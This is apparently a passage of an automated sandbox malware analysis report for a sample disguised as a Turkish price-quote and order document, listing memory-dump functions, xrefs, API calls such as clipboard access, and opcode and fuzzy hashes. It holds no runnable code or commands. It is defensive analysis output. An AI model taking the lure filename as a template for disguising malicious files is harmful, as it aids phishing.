Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 012FD1FF
PHq, xrefs: 012FD210

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 5063e596809e5d8929e55f154cd3616c38469121976250ad1d4ee95bf51136b5
Instruction ID: bac76e40ec9da448912aed0d6e06b5b1db3651b1da6e0262d7320ac0f92f4e58
Opcode Fuzzy Hash: 5063e596809e5d8929e55f154cd3616c38469121976250ad1d4ee95bf51136b5
Instruction Fuzzy Hash: 2981B574E10218CFEB14DFAAD884A9EFBF2BF88310F148069E519AB365DB709945CF50

Function 012FE988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78cc6c8551cdc1d674fd9753f468a7c3a0c427d70344a4e5a65ffa909c69da38
Instruction ID: 218c5f5f280df93375238554eba08e8cfdf8b0a165786a72cdc51025394ddc41
Opcode Fuzzy Hash: 78cc6c8551cdc1d674fd9753f468a7c3a0c427d70344a4e5a65ffa909c69da38
Instruction Fuzzy Hash: A1519774E10308DFEB19DFAAD494A9EFBB2BF89300F258129E915AB364DB305941CF54

Function 012FE97B Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52e95e20998b7a321d14522d7fc0c3f81fbffe3310d47c9d686ec40e8b22bd66
Instruction ID: 26282e777d9aad67943184d3e330b8222ae3453289d96c8d603e1f80c13528dc
Opcode Fuzzy Hash: 52e95e20998b7a321d14522d7fc0c3f81fbffe3310d47c9d686ec40e8b22bd66
Instruction Fuzzy Hash: B851B774E10208DFDB19DFAAD454A9EFBB2BF89300F25C029E915AB365DB305841CF54

Function 012F76F1 Relevance: 10.5, Strings: 8, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oq, xrefs: 012F772E
(oq, xrefs: 012F7815
,q, xrefs: 012F7BA0
(oq, xrefs: 012F7C0F
(oq, xrefs: 012F78B2
(oq, xrefs: 012F7BFF
,q, xrefs: 012F7B90
(oq, xrefs: 012F77E9

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: (oq$(oq$(oq$(oq$(oq$(oq$,q$,q
API String ID: 0-2212926057
Opcode ID: 38d6c01db0e8a81120fdbb58ce2f2ea244e8e216b3da815fd62329c18d60243e
Instruction ID: 4a47fbd47b3de6dfc1d8ec55f6f8703888f2d136374df453a308220656c040c2
Opcode Fuzzy Hash: 38d6c01db0e8a81120fdbb58ce2f2ea244e8e216b3da815fd62329c18d60243e
Instruction Fuzzy Hash: E4125830A102099FDB25CF68D984AAEBBF2FF49314F1485A9EA49DB361D730ED45CB50

Function 012F5F38 Relevance: 2.8, Strings: 2, Instructions: 266
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hq, xrefs: 012F6023
Hq, xrefs: 012F6056

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: Hq$Hq
API String ID: 0-925789375
Opcode ID: 51849c8bae44aab0de4f302a0a69455c2dee9886d909cabf507e76fe0c95bf04
Instruction ID: 79e04b80958d236ac62ea4fbf688c1cdcba5d967ad0855cd245abb9efa6038eb
Opcode Fuzzy Hash: 51849c8bae44aab0de4f302a0a69455c2dee9886d909cabf507e76fe0c95bf04
Instruction Fuzzy Hash: 4591B0307142068FEB259F389854B6EBBB6FF89300F18856DE6068B396CB748C02C791

Function 012F6498 Relevance: 2.7, Strings: 2, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,q, xrefs: 012F6578
,q, xrefs: 012F656E

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: ,q$,q
API String ID: 0-1667412543
Opcode ID: afa304906c9daf6c5ec52e39ace3c6f1725740d0ce1da82863d5cfdbf06f38fd
Instruction ID: da20868ee6d23d35cb85fe9559c08615d5f2253227ec58fec8c66efece67a453
Opcode Fuzzy Hash: afa304906c9daf6c5ec52e39ace3c6f1725740d0ce1da82863d5cfdbf06f38fd
Instruction Fuzzy Hash: DE816B34A205068FDB24CF6DD488AA9FBB2FF89201F14817DD706AB365DB35E841CB51

Function 012F9C30 Relevance: 2.7, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'q, xrefs: 012F9D84
4'q, xrefs: 012F9D6D

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: 1ac562e5eb9cc4c82b784e02e2066699f85d46f4251f649af90e08760586b868
Instruction ID: 9bf9b5e05f3151c12712fe5127a1d96d780ecfd0e89e2a99e7f829286b9210b8
Opcode Fuzzy Hash: 1ac562e5eb9cc4c82b784e02e2066699f85d46f4251f649af90e08760586b868
Instruction Fuzzy Hash: 905182307102459FDB15DF69C844B6ABBE6EF89314F148479FA09CB295D771CC42CB91

Function 012F3CC0 Relevance: 2.6, Strings: 2, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xq, xrefs: 012F3CF6
Xq, xrefs: 012F3CCD

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: Xq$Xq
API String ID: 0-1556399337
Opcode ID: bc9103043a5b4258feed9d4e520ca96866461791b1f13cd07617f210bbc0f960
Instruction ID: 5d7d33ce05dbe864eb2ee8fbc36c4e6d2d7c138caee48600ade3136c4abd2262
Opcode Fuzzy Hash: bc9103043a5b4258feed9d4e520ca96866461791b1f13cd07617f210bbc0f960
Instruction Fuzzy Hash: 4731C631B2032647EF29967A989537EE9AABBC4241F18403DDB16C73C4DBB5CC45C7A1

Function 012F8EF8 Relevance: 2.6, Strings: 2, Instructions: 110COMMON

Download Yara Rule

Strings

$q, xrefs: 012F8FB4
$q, xrefs: 012F8FD7

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: c608d4b9605e5b8523015641cc1e4c5f0bf6168cae6e9fd3a2d3cd8469d4aca5
Instruction ID: b16d8f9aa4227172baf9da82d44bf135711ba9802cab76fd696548026a3fe5a3
Opcode Fuzzy Hash: c608d4b9605e5b8523015641cc1e4c5f0bf6168cae6e9fd3a2d3cd8469d4aca5
Instruction Fuzzy Hash: 2731B4303242528FDB364B69D85463EFB6AAF85710F69067EF346CB252DA25CC418791

Function 012F0C93 Relevance: 1.8, Strings: 1, Instructions: 543COMMON

Download Yara Rule

Strings

LRq, xrefs: 012F0F19

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: d1d9370361369274771103ece6e8b73b6a3b89e79995c292457e5aa0bdcbf1ad
Instruction ID: 59645503a394e3e8db69dcf498cdeed680a53386c843f16a83d704ef1f25a267
Opcode Fuzzy Hash: d1d9370361369274771103ece6e8b73b6a3b89e79995c292457e5aa0bdcbf1ad
Instruction Fuzzy Hash: 30529C7890022ACFCB64EF65ED94B9DBBB6FB48301F1046A9E509AB359DB306D45CF40

Function 012F0CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LRq, xrefs: 012F0F19

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: 7838fcbe6b55f1ab6bd429715d45290adc662f6945c24261e41d646c02c8122b
Instruction ID: 08ad94ef645af66554627bcb65363e7560335b8faa2498804b9fe5dff998a1b1
Opcode Fuzzy Hash: 7838fcbe6b55f1ab6bd429715d45290adc662f6945c24261e41d646c02c8122b
Instruction Fuzzy Hash: 0B529C7890022ACFCB64EF65ED94B9DBBB6FB48301F1046A9E509AB359DB306D45CF40

Function 06C4C41C Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 06C4C9A0

Memory Dump Source

Source File: 00000005.00000002.3720215962.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c40000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 0c06c5b58adadc532b5fca2f792311590ce47489e813cfd215e9e63dd82e7fc8
Instruction ID: 7598355c28d2a825289be5e0ff1458047251075bd75a969368ed3cc60e01088a
Opcode Fuzzy Hash: 0c06c5b58adadc532b5fca2f792311590ce47489e813cfd215e9e63dd82e7fc8
Instruction Fuzzy Hash: B73116B0D01348DFDB24DF99C544B9DBBF1BF48304F208069E405BB2A0DB75A945CBA5

Function 06C4C90D Relevance: 1.6, APIs: 1, Instructions: 73comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 06C4C9A0

Memory Dump Source

Source File: 00000005.00000002.3720215962.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c40000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: be4ab02c2c762d8c818f0541ee175885ef7c6b71fa205c750701b093cf9aa92f
Instruction ID: 2e4213a98014add2f362b82be024247267e2cbe2b43cb2d0f29b16bf0e01892f
Opcode Fuzzy Hash: be4ab02c2c762d8c818f0541ee175885ef7c6b71fa205c750701b093cf9aa92f
Instruction Fuzzy Hash: E83103B0D02249DFDB24DF99C944BDDBBF1BF48304F208069E404BB290DBB5A945CBA5

Function 06C49C24 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,06C4B2F7), ref: 06C4BD7D

Memory Dump Source

Source File: 00000005.00000002.3720215962.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c40000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: f752943e1e6061aa41059a76b093b2c47734a68568e80c3bd90298a843228205
Instruction ID: 4f721406bf99fc808f3c4fb2784d8f28107d2a19206cce0d2032dabb5af064fd
Opcode Fuzzy Hash: f752943e1e6061aa41059a76b093b2c47734a68568e80c3bd90298a843228205
Instruction Fuzzy Hash: 3B11F2B5C047498FCB24DF9AD444BDEFBF4EB48320F10846AD419A7250D378A944CFA5

Function 06C49B78 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06C4AA05

Memory Dump Source

Source File: 00000005.00000002.3720215962.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c40000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: ebee77e51c57b0d8edea72308fc2e538771ef30b21a8e906e45063310d58b3b8
Instruction ID: fca875ffed36eadc818cdcd8b1cfc5ed2fbf85ec887d02d9b2a05fb1d8b25a02
Opcode Fuzzy Hash: ebee77e51c57b0d8edea72308fc2e538771ef30b21a8e906e45063310d58b3b8
Instruction Fuzzy Hash: 6C1145B5C043488FDB20DF9AC444B9EBBF4EB48324F10841AD518A7200C379A944CFA4

Function 06C4A9A8 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06C4AA05

Memory Dump Source

Source File: 00000005.00000002.3720215962.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c40000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: b76657fec46a4f5c8779c3f9162f156802e90f26934c151cff25ccc72a41906a
Instruction ID: 01e70833e10a53593cd17ffde382323e9a6bc5609ca48a123699e9a1a2acbed9
Opcode Fuzzy Hash: b76657fec46a4f5c8779c3f9162f156802e90f26934c151cff25ccc72a41906a
Instruction Fuzzy Hash: B41115B5C003498FCB20DF9AD585BDEBBF4EB48324F108419D558A7340C779A945CFA5

Function 06C4BD1A Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,06C4B2F7), ref: 06C4BD7D

Memory Dump Source

Source File: 00000005.00000002.3720215962.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c40000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: c4a92fc58277596193e9b52eb7b4a6518e96de0363b2ea2ef5238ecc4b4dae9e
Instruction ID: 6953dc25ea5287883249a247a0121d936cee2cbf73ae01385660335113ffeb1c
Opcode Fuzzy Hash: c4a92fc58277596193e9b52eb7b4a6518e96de0363b2ea2ef5238ecc4b4dae9e
Instruction Fuzzy Hash: DB1100B5C007498FCB20DF9AD844BDEFBF4EB48320F10842AE818A7250D378A944CFA5

Function 012FE007 Relevance: .7, Instructions: 654COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b70c51ec3363183ad1bfd134a2b32e9a3fde6c90abb6cd3a5490bf9b7fd9ce99
Instruction ID: 53610a4d0793b8c3fa71f64f077ac147a700295a7e4b10f4d6e3f2c9d3e2b201
Opcode Fuzzy Hash: b70c51ec3363183ad1bfd134a2b32e9a3fde6c90abb6cd3a5490bf9b7fd9ce99
Instruction Fuzzy Hash: E712A935025253CFE2662B74E6AC16ABF6DFF4F323B45AD20E81F8104DEB7644498B21

Function 012FE018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a02119553c45de31cf6d4bb7b92109460e5f6c6b117611ec48811ec2a6d3a09e
Instruction ID: 34fd15646a07f2ac985fc717216a5288c5b3917b781e15b6de8096a90d141663
Opcode Fuzzy Hash: a02119553c45de31cf6d4bb7b92109460e5f6c6b117611ec48811ec2a6d3a09e
Instruction Fuzzy Hash: 6A129835061253CFE2666B64F6AC16ABE6DFF0F323B45AD20F91F8104DEB7644498B21

Function 012F80D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ba40bf23f6e4ea4da76f81711f206335f25176ee50e6d215e217684eae97e5d
Instruction ID: 12d8ade84bdbd28f0d35991559d5c6d0589ad2e98c95054fa0106b02a988678c
Opcode Fuzzy Hash: 8ba40bf23f6e4ea4da76f81711f206335f25176ee50e6d215e217684eae97e5d
Instruction Fuzzy Hash: 0F7127397206468FDB25DF6CC894A6AFBE5AF49701F1500A9EA06DB371DB70EC41CB50

Function 012FF738 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba97a0dbde47933a260adfd2ce75f73c44e9837a857b0ba5f66236b00b5b08d3
Instruction ID: 44ac5f4dc1cfc8e488a15056d1a9c0ae8c7ba55f2e960d24b228d738b1fc0094
Opcode Fuzzy Hash: ba97a0dbde47933a260adfd2ce75f73c44e9837a857b0ba5f66236b00b5b08d3
Instruction Fuzzy Hash: B361DE74D00318DFDB15DFA5D954BAEBBB2BF88300F608129D809AB299DB756A45CF40

Function 012FD548 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83f878e39ba2ec1e7d77057ec371e6050460c8871bbe2281a210713a9efc9a88
Instruction ID: c58f2c9bd980a6e4af0cfef0c58e75a4df7d489f311619b73a7340f7811e1dc4
Opcode Fuzzy Hash: 83f878e39ba2ec1e7d77057ec371e6050460c8871bbe2281a210713a9efc9a88
Instruction Fuzzy Hash: E9519474E11208DFDB44DFA9D59499DBBF2BF89300F24816AE805AB364DB31A805CF40

Function 012F41A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 561878b299777a1af165218d249ca59ab4baa25b81b4c93c9be9e93256896b47
Instruction ID: 523f1acb514c65945218162041b10adbbbe4128f66d1699de1e9509545fd8a82
Opcode Fuzzy Hash: 561878b299777a1af165218d249ca59ab4baa25b81b4c93c9be9e93256896b47
Instruction Fuzzy Hash: 9F519375E01218CFCB08EFAAD58499DBBF6FF89300B209569E905AB324DB31AC41CF50

Function 012FA303 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 760a22d179278356e0398d131c51b9fb47baac2bdf8de7bc16861ebc875c2692
Instruction ID: fade59c7aa7be082ca3e88a91ba5666a455669fb63dfde8c7953abf18df66f9c
Opcode Fuzzy Hash: 760a22d179278356e0398d131c51b9fb47baac2bdf8de7bc16861ebc875c2692
Instruction Fuzzy Hash: 5C51B131A14249DFDF16CFA8C844A9DFFB2FF89310F048469EA499B266D374E915CB60

Function 012F5658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3693a3d927edb8ac2d6a3d721559b25f4165b5e13eb9e92cf69e23d846d7c44a
Instruction ID: 716ce06c1f66c4f8fc1067491960d58ac55bfc2925cbee703d7b7e452c2c004a
Opcode Fuzzy Hash: 3693a3d927edb8ac2d6a3d721559b25f4165b5e13eb9e92cf69e23d846d7c44a
Instruction Fuzzy Hash: B631903571110ADFCF159F68D854ABFBBB6FB48305F004428FA158B258CB75C925CBA0

Function 012F8380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b703c4a171f0ff30dfda86f97abccb59fd43105bf5e8ddc7b2e016b80fbafc4d
Instruction ID: 51164240279f5c3943b13100e7ba971fb6dad1dc4290fb25f7805dfee80be7d9
Opcode Fuzzy Hash: b703c4a171f0ff30dfda86f97abccb59fd43105bf5e8ddc7b2e016b80fbafc4d
Instruction Fuzzy Hash: 1821F2313202014BEF26562D845473EE69BEFC4748F14803DDB06CB39ADE75CC429385

Function 012F62F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f47583e4723f11ed455155bcfb9ac465fda5d88d9f567e1d82ad3145303dbe51
Instruction ID: eac95e9f42b5d734b44ce4fa717d16afa8b93a89903eafa2e6bc1db693da4c85
Opcode Fuzzy Hash: f47583e4723f11ed455155bcfb9ac465fda5d88d9f567e1d82ad3145303dbe51
Instruction Fuzzy Hash: FD21C2357156118FDB259B29D45492EFBA2FFC9B55B18857DEA06CB398CF30DC028B80

Function 012F28F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9300f5986d7b9e4fddacc9fa6cdf00e92dd9dd91ba1dc70222ce9c5ab3a4971e
Instruction ID: eed740045a720a24b47ef2291774b4752689998f07c39d964f64ccb7ab56af61
Opcode Fuzzy Hash: 9300f5986d7b9e4fddacc9fa6cdf00e92dd9dd91ba1dc70222ce9c5ab3a4971e
Instruction Fuzzy Hash: E5219535A00215DFCB15DF28C440AAE7BA5EB9D360F61C52DDA099B348DB31EE42CBD1

Function 012AD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709683349.00000000012AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12ad000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2614d856e614f3c610760ded8d8680196e3ee00b5b753b76fa8131dc7f7e58a2
Instruction ID: 3ba779b071456c198e6f0b2a81a7f79f7cb0c14409eaa0faf928a175ee842bf5
Opcode Fuzzy Hash: 2614d856e614f3c610760ded8d8680196e3ee00b5b753b76fa8131dc7f7e58a2
Instruction Fuzzy Hash: 86214271654308DFDB10CF64C8C4B22BB61FB88314F60C9ADE9490B642C77AD84BCA62

Function 012F5649 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 124e036f1dfd211e68938a5b70232bf69ad0295c56b7b9a0e14f1cc5019471dd
Instruction ID: bd4c88f0d8656cfdec440b5579fc16c8c0fcacce4d79f52c686ccce9d34b2f29
Opcode Fuzzy Hash: 124e036f1dfd211e68938a5b70232bf69ad0295c56b7b9a0e14f1cc5019471dd
Instruction Fuzzy Hash: AE21313170520A8FCF099F28E404A7FBBB1FB48310F004069FA158B248CB348D15CB90

Function 012F4285 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8338eaf8427e7d05ee8c1b6e5a699f881708a2585b1f41788a49c3a128868311
Instruction ID: 4586be77dd6d8282501d6693d1ec4169a143e8d05450198e5d12cd9094c383e7
Opcode Fuzzy Hash: 8338eaf8427e7d05ee8c1b6e5a699f881708a2585b1f41788a49c3a128868311
Instruction Fuzzy Hash: 9E31A378E11358CFCB09EFA9E58499DBBB6FF49301B205569E909AB324DB31AC01CF00

Function 012F9761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
